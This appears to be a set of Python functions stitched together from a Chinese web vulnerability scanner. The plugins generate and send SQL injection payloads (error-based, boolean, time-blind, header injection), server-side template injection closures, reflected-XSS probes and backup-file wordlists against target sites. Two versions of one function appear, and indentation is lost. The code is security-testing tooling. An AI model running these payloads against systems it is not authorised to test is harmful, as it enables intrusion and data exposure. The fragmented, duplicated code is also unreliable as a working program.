def get_dict(): others.url_dict_path = [] if plugin_set.get("dirscan").get("dirfile"): filename = plugin_set.get("dirscan").get("dirfile") else: filename = os.path.join(paths.MYSCAN_DATA_PATH, "dir", "dicc.txt") try: with open(filename) as f: for line in f: line_ = line.strip() if line_: others.url_dict_path.append(line_) except Exception as ex: logger.warning("dirscan can't open file:{} , get error:{}".format(filename, ex)) return others.url_dict_path
def get_domain_backfile(self, host): ''' 生成域名字典 ''' bakfiles = [] if not plugin_set.get("dirscan").get("doamin_dict") or is_ipaddr(host): return bakfiles exts = [ ".gz", ".tar.gz", ".tar", ".zip", ".7z", ".rar", ".bak", ".backup", ".bz2", ".lz", ".sqlite", ".sqlitedb", ".sql.7z", ".sql.rar", ".sql.zip" ] startswith_ = [ "0", "2011", "2012", "123", "2013", "2014", "2015", "2016", "2017", "2018", "2019", "2020", "back", "backup", "备份", "打包", "网站", "源码", "web", "data", "www", "wwwroot", "edudomain", "web", "webroot", "WebRoot", "website", "bin", "bbs", "shop", "www", "wwww", '1', '2', '3', '4', '5', '6', '7', '8', '9', "a", "aa", "test", "www1", "www2", "www3", "www4", "default", "log", "logo", "kibana", "elk", "weblog", "mysql", "ftp", "FTP", "MySQL", "redis", "Redis", "cgi", "php", "jsp", "host", "access", "error", "logs", "other_vhosts_access", "database", "sql" ] hostlist = host.split(".") startswith_ += host startswith_ += hostlist[:-1] startswith_ += ["".join(hostlist)] startswith_ += ["".join(hostlist[1:])] startswith_ += ["".join(hostlist[:-1])] for s in list(set(startswith_)): for e in exts: bakfiles.append(s.lower() + e) bakfiles.append(s.upper() + e) bakfiles.append(s.capitalize() + e) return list(set(bakfiles))
def generatepayloads(self): for bound in self.boundaries: if bound.get("level") > plugin_set.get("sqli").get("level", 0): continue for payload in self.payloads: if bound.get("pre") != "" and payload.get("comment") == "": if bound.get("symbol") in ["'", '"']: expression = "{pre} {payload} AND {suf}[RANDSTR9]{symbol}={symbol}[RANDSTR9]".format( **bound, **payload) else: expression = "{pre} {payload} AND {suf}[RANDNUM9]=[RANDNUM9]".format( **bound, **payload) self.payloads_alpha.append( (self.formatpayload(expression), payload)) else: if payload.get("comment") != "": if bound.get("pre") != "": expression = "{pre} {payload}{comment} [RANDSTR9]".format( **bound, **payload) else: expression = "{pre}{payload}{comment} [RANDSTR9]".format( **bound, **payload) else: if bound.get("pre") != "": expression = "{pre} {payload}".format( **bound, **payload) else: expression = "{pre}{payload}".format( **bound, **payload) self.payloads_digit.append( (self.formatpayload(expression), payload))
def _generate_contexts(self): contexts=[] for ctx in self.contexts: if not int(plugin_set.get("ssti").get("level"))>=ctx.get("level"): continue suffix = ctx.get('suffix', '') % () # If the context has no closures, generate one closure with a zero-length string if ctx.get('closures'): closures = self._generate_closures(ctx) # print('%s plugin is testing %s*%s code context escape with %i variations%s' % ( # self.plugin, # repr(ctx.get('prefix', '%(closure)s') % ({'closure': ''})).strip("'"), # repr(suffix).strip("'"), # len(closures), # ' (level %i)' % (ctx.get('level', 1)) # ) # ) else: closures = [''] for closure in closures: # Format the prefix with closure prefix = ctx.get('prefix', '%(closure)s') % ({'closure': closure}) contexts.append((prefix, suffix)) return contexts
def get_domain_backfile(self, host): ''' 生成域名字典 ''' bakfiles = [] if not plugin_set.get("dirscan").get("doamin_dict") or is_ipaddr(host): return bakfiles startswith_ = ['config', 'error', '2018', 'build', '2016', 'test', 'php', '打包', 'index', '0', '4', 'other_vhosts_access', 'web', 'src', '9', '2017', 'output', '123', 'mysql', '2013', '8', 'conf', 'weblog', 'shop', 'elk', 'redis', 'deploy', 'backupdatabase', 'a', 'ftp', 'cgi', 'package', '2020', '备份', '7', '2011', 'www2', 'www4', 'www1', 'default', 'website', 'host', 'bin', 'jsp', 'tmp', 'upload', 'sql', 'backup', '2012', '源码', 'code', 'WebRoot', '6', 'webserver', 'db', 'data', '2', 'install', 'admin', 'wwwroot', 'webroot', 'logs', '2019', 'log', '5', 'access', 'old', 'logo', 'back', 'bbs', 'temp', 'kibana', '2014', '2015', 'wwww', '3', '1', '网站', 'aa', 'www', 'www3', 'dump'] hostlist = host.split(".") startswith_ += [host] startswith_ += hostlist[:-1] startswith_ += ["".join(hostlist)] startswith_ += [".".join(hostlist[1:])] startswith_ += [".".join(hostlist[:-1])] for s in list(set(startswith_)): for e in self.exts_bak: bakfiles.append(s.lower() + e) # bakfiles.append(s.upper() + e) # bakfiles.append(s.capitalize() + e) return list(set(bakfiles))
def _generate_closures(self, ctx): closures_dict = ctx.get('closures', { '0' : [] }) closures = [ ] # Loop all the closure names for ctx_closure_level, ctx_closure_matrix in closures_dict.items(): # Skip any closure list which is above the required level if int(plugin_set.get("ssti").get("level")) >= ctx_closure_level: closures += [ ''.join(x) for x in itertools.product(*ctx_closure_matrix) ] closures = sorted(set(closures), key=len) # Return it return closures
def verify(self): # xssflagstr = get_random_str(6) if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return response_ct = self.dictdata.get("response").get("headers").get("Content-Type", "") if "html" not in response_ct.lower(): return # Url Body 参数注入 parser = dictdata_parser(self.dictdata) parser.getresponsebody() params_url = self.dictdata.get("request").get("params").get("params_url") params_body = self.dictdata.get("request").get("params").get("params_body") params_tests = {} if params_url: params_tests["url"] = params_url if params_body: params_tests["body"] = params_body if params_tests: for params_type, params_ in params_tests.items(): for param in params_: test_str = get_random_str(8).lower() res_random_str, r = check(parser, param, -1, test_str, test_str, {}, params_type, [test_str]) if res_random_str: random_context=getposition(r.content,test_str.encode()) occurences = htmlparser(r.text, test_str) if occurences: positions = list(occurences.keys()) msg_low_level = [] for num in range(len(positions)): flag = False if occurences[positions[num]]["context"] == "attribute": # attr :{416: {'position': 416, 'context': 'attribute', 'details': {'tag': 'input', 'type': 'value', 'quote': "'", 'value': 'fuckhaha', 'name': 'value'}}} #针对在value里面,可以直接使用javascript的情况 if occurences[positions[num]]["details"]["name"].lower() in list(set( ["href", "src", "action", "formaction", "data", "from", "onclick", "url"])) and occurences[positions[num]]["details"]["type"].lower() =="value": if occurences[positions[num]]["details"]["value"].lower().startswith(test_str): random_str = get_random_str(8).lower() payloads = [ ("jaVascript:{}", ["javascript:{}", "jaVascript:{}"]), ("jAvaScRiPt:{}", ["javascript:{}"]) ] for p, show in payloads: payload = p.format(random_str) show_formated = [show_.format(random_str) for show_ in show] res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: flag=True payload = payload.replace(random_str, "alert(1)") self.save(r_data, param, payload) break #针对出现在name,flag 情况,详情看xss/common.py ,使用>闭合 if occurences[positions[num]]["details"]["type"] in ["name","flag"] : payload_pre = ">" if self.xss_withpayload(parser, param, num, payload_pre, occurences, params_type,random_context): flag = True #针对在value里面,通过'"`闭合 if occurences[positions[num]]["details"]["type"]=="value" and not flag: can_use_tag, can_close, can_use_attr = False, False, False random_str = get_random_str(8).lower() payload_tag = "<{}>".format(random_str) if check(parser, param, num, payload_tag, random_str, occurences, params_type,None,random_context)[0]: can_use_tag = True random_str = get_random_str(8).lower() payload_close = "{}>{}".format(occurences[positions[num]]["details"]["quote"], random_str) if check(parser, param, num, payload_close, random_str, occurences, params_type,None,random_context)[0]: can_close = True random_str = get_random_str(8).lower() payload_attr = "{}{}=".format(occurences[positions[num]]["details"]["quote"], random_str) if check(parser, param, num, payload_attr, random_str, occurences, params_type,None,random_context)[0]: can_use_attr = True if can_use_attr: random_str = get_random_str(8).lower() for p, show in attr_payloads: payload = "{} {}".format(occurences[positions[num]]["details"]["quote"], p.format(random_str)) show_formated = [ "{} {}".format(occurences[positions[num]]["details"]["quote"], show_.format(random_str)) for show_ in show] res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: payload = payload.replace(random_str, "prompt(1)") + "//" self.save(r_data, param, payload) flag = True break if not flag: msg_low_level.append( "参数值在attribute内,且可使用{}>闭合,可添加新attribute饶过,可尝试用工具枚举".format( occurences[positions[num]]["details"]["quote"])) if (not flag) and can_close and can_use_tag: random_str = get_random_str(8).lower() for p, show in tag_payloads: payload = "{}>{}".format(occurences[positions[num]]["details"]["quote"], p.format(random_str)) show_formated = [ "{}>{}".format(occurences[positions[num]]["details"]["quote"], show_.format(random_str)) for show_ in show] res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: payload = payload.replace(random_str, "prompt(1)") self.save(r_data, param, payload) flag = True break if not flag: msg_low_level.append( "参数{}值在attribute内,且可使用{}>闭合和使用<random>,可添加新tag绕过,可使用工具枚举".format( param.get("name"), occurences[positions[num]]["details"]["quote"])) if occurences[positions[num]]["context"] == "html": badtag = occurences[positions[num]]["details"].get("badTag", "") if not badtag: payload_pre = "" if self.xss_withpayload(parser, param, num, payload_pre, occurences, params_type,random_context): flag = True if not flag: payload_pre = "</"+badtag+">" if self.xss_withpayload(parser, param, num, payload_pre, occurences, params_type,random_context): flag = True if not flag: msg_low_level.append( "参数{}值在html标签内,可尝试用工具枚举".format(param.get("name"))) if occurences[positions[num]]["context"] == "comment": for payload_pre in ("-->", "--!>"): if self.xss_withpayload(parser, param, num, payload_pre, occurences, params_type,random_context): flag = True break if not flag: msg_low_level.append( "参数{}值在comment标签内,可尝试用工具枚举".format(param.get("name"))) if occurences[positions[num]]["context"] == "script": # 判断是否在注释里 1./* xx\r\nxxx */ 2. // xxxxx annotation = occurences[positions[num]]["details"]["annotation"] quote = occurences[positions[num]]["details"].get("quote", "") if annotation != "": if annotation == "/*": random_str = get_random_str(8).lower() for payload, show_formated in [ ("*/;{};/*".format(random_str), ["*/;{};/*".format(random_str)]) ]: res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: payload = payload.replace(random_str, "prompt(1)") + "//" self.save(r_data, param, payload) flag = True break if annotation == "//": random_str = get_random_str(8).lower() for payload, show_formated in [ ("\n;{};//".format(random_str), ["\n;{};//".format(random_str)]) ]: res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: payload = payload.replace(random_str, "prompt(1)") + "//" self.save(r_data, param, payload) flag = True break else: if quote: random_str = get_random_str(8).lower() payload = "{}-{}-{}".format(quote, random_str,quote) show_formated = [payload] res, r_data = check(parser, param, num, payload, random_str, occurences, params_type, show_formated,random_context) if res: payload_=[] for x,y in enumerate(["{}-{}//".format(quote, "prompt(1)"),payload.replace(random_str, "prompt(1)")]): payload_.append("{}:{}".format(x,y)) self.save(r_data, param, " , ".join(payload_)) flag = True if not flag: payload_pre = "</ScRiPt>" if self.xss_withpayload(parser, param, num, payload_pre, occurences, params_type,random_context): flag = True if not flag: msg_low_level.append( "参数{}值在script标签内,可尝试用工具枚举".format(param.get("name"))) if plugin_set.get("xss").get("use_low_level", False) and msg_low_level: self.save(r, param, "\r\n".join(list(set(msg_low_level))), 0)
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return # 搜索返回包: self.parser = dictdata_parser(self.dictdata) # 黑名单 # tomcat if self.dictdata.get("url").get("path").startswith( "/examples/") or self.dictdata.get("url").get( "path").startswith("/docs/"): return # body url参数注入 random_num = get_random_num(8) random_num_md5 = getmd5(random_num) payloads = [ ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ("'and(select'1'from/**/cast(md5({})as/**/int))>'0".format( random_num), random_num_md5, "a"), ('"and(select\'1\'from/**/cast(md5({})as/**/int))>"0'.format( random_num), random_num_md5, "a"), ("'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))>'0" .format(random_num), random_num_md5, "a"), ('"and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes(\'MD5\',\'{}\')))>"0' .format(random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("/**/and/**/cast(md5('{}')as/**/int)>0".format(random_num), random_num_md5, "a"), ("convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))". format(random_num), random_num_md5, "w"), ("extractvalue(1,concat(char(126),md5({})))".format(random_num), random_num_md5, "w") ] params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") reqs = [] if params: for param in params: for payload, search_str, method in [('鎈\'"\(', None, "a") ] + payloads: req = self.parser.getreqfromparam(param, method, payload) reqs.append( (req, payload, search_str, random_num_md5, param)) mythread(self.args_inject, reqs, cmd_line_options.threads) # header注入 if not plugin_set.get("sqli").get("header_inject"): return header_msg = { "User-Agent": { "msg": "sqli_error_ua", "default": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" }, "Referer": { "msg": "sqli_error_referer", "default": "https://www.qq.com/search" }, "X-Forwarded-For": { "msg": "sqli_error_xff", "default": "12.40.9.144" }, "Real-Ip": { "msg": "sqli_error_ri", "default": "2.40.9.144" }, "X-Forwarded-Host": { "msg": "sqli_error_xfh", "default": "2.40.9.144" }, } reqs = [] for k, v in header_msg.items(): if self.output(v.get("msg")): logger.debug("start {} inject ".format(k)) headers = copy.deepcopy( self.dictdata.get("request").get("headers")) if k not in headers.keys(): headers[k] = v.get("default") for payload, search_str, method in [('\'"\(', None, "a") ] + payloads: headers_withpayload = copy.deepcopy(headers) headers_withpayload[k] = headers_withpayload[ k] + payload if method == "a" else payload req = self.parser.generaterequest( {"headers": headers_withpayload}) reqs.append((req, (payload, search_str, k, v.get("msg")))) mythread(self.header_inject, reqs, cmd_line_options.threads)
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return self.parser = dictdata_parser(self.dictdata) # args inject params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: self.param = param self.injectstatus = False payloads = copy.deepcopy(self.payloads_alpha) + copy.deepcopy( self.payloads_digit) mythread(self.args_inject, payloads, cmd_line_options.threads) # header inject if not plugin_set.get("sqli").get("header_inject"): return header_msg = { "User-Agent": { "msg": "sqli_timeblind_ua", "default": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" }, "Referer": { "msg": "sqli_timeblind_referer", "default": "https://www.qq.com/search" }, "X-Forwarded-For": { "msg": "sqli_timeblind_xff", "default": "12.40.9.144" }, "Real-Ip": { "msg": "sqli_timeblind_ri", "default": "2.40.9.144" }, "X-Forwarded-Host": { "msg": "sqli_timeblind_xfh", "default": "2.40.9.144" }, } reqs = [] payloads = copy.deepcopy(self.payloads_alpha) for k, v in header_msg.items(): if self.output(v.get("msg")): logger.debug("start timeblind {} inject ".format(k)) headers = copy.deepcopy( self.dictdata.get("request").get("headers")) if k not in headers.keys(): headers[k] = v.get("default") for test_payload in payloads: reqs.append((headers, k, v, test_payload)) # for test in payloads: # headers_withpayload = copy.deepcopy(headers) # reqs.append() # headers_withpayload[k] = headers_withpayload[k] + payload if method == "a" else payload # req =self.parser.generaterequest({"headers": headers_withpayload}) # reqs.append((req, (payload, search_str, k, v.get("msg")))) mythread(self.headers_inject, reqs, cmd_line_options.threads)
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return self.parser = dictdata_parser(self.dictdata) # send again . to find dynamic text self.dynamic = [] r = request(**self.parser.getrawrequest()) if r != None: ret = findDynamicContent( self.parser.getresponsebody().decode(errors="ignore"), r.text) if ret: self.dynamic.extend(ret) if self.dictdata.get("response").get("mime_stated") == "HTML": self.text = getFilteredPageContent( removeDynamicContent(r.text, self.dynamic)) else: self.text = removeDynamicContent(r.text, self.dynamic) else: return # test url and body params sql_flag = [ "' and '{0}'='{1}", '" and "{0}"="{1}', ] # url and body params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: success = False payloads = copy.deepcopy(sql_flag) if param.get("value") in ["desc", "asc"]: payloads += [ ",if('{0}'='{1}',1,(select 1 from information_schema.tables))" ] for payload in payloads: random_str = get_random_str(2).lower() payload_right = payload.format(random_str + "a", random_str + "a") payload_false = payload.format(random_str + "b", random_str + "c") req_true = self.parser.getreqfromparam( param, "a", payload_right) req_false = self.parser.getreqfromparam( param, "a", payload_false) if self.inject(req_false, req_true, payload_right, payload_false, param.get("name")): success = True break if not success and str(param.get("value")).isdigit(): param_value = param.get("value") random_num = random.randint(2, 8) payloads_num = [ ("/0", "*1"), ("/**/and+{0}={1}".format(random_num, random_num + 1), "/**/and+{0}={1}".format(random_num, random_num)), ] for payload_false, payload_right in payloads_num: req_true = self.parser.getreqfromparam( param, "a", payload_right) req_false = self.parser.getreqfromparam( param, "a", payload_false) if self.inject(req_false, req_true, param_value + payload_right, param_value + payload_false, param.get("name")): break pass # host header 部分 if not plugin_set.get("sqli").get("header_inject"): return header_msg = { "User-Agent": { "msg": "sqli_boolen_ua", "default": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" }, "Referer": { "msg": "sqli_boolen_referer", "default": "https://www.qq.com/search" }, "X-Forwarded-For": { "msg": "sqli_boolen_xff", "default": "12.40.9.144" }, "Real-Ip": { "msg": "sqli_boolen_ri", "default": "2.40.9.144" }, "X-Forwarded-Host": { "msg": "sqli_boolen_xfh", "default": "2.40.9.144" }, } reqs = [] for k, v in header_msg.items(): if self.output(v.get("msg")): logger.debug("start {} inject ".format(k)) headers = copy.deepcopy( self.dictdata.get("request").get("headers")) if k not in headers.keys(): headers[k] = v.get("default") reqs.append((headers, k, v)) mythread(self.inject_headers, reqs, cmd_line_options.threads)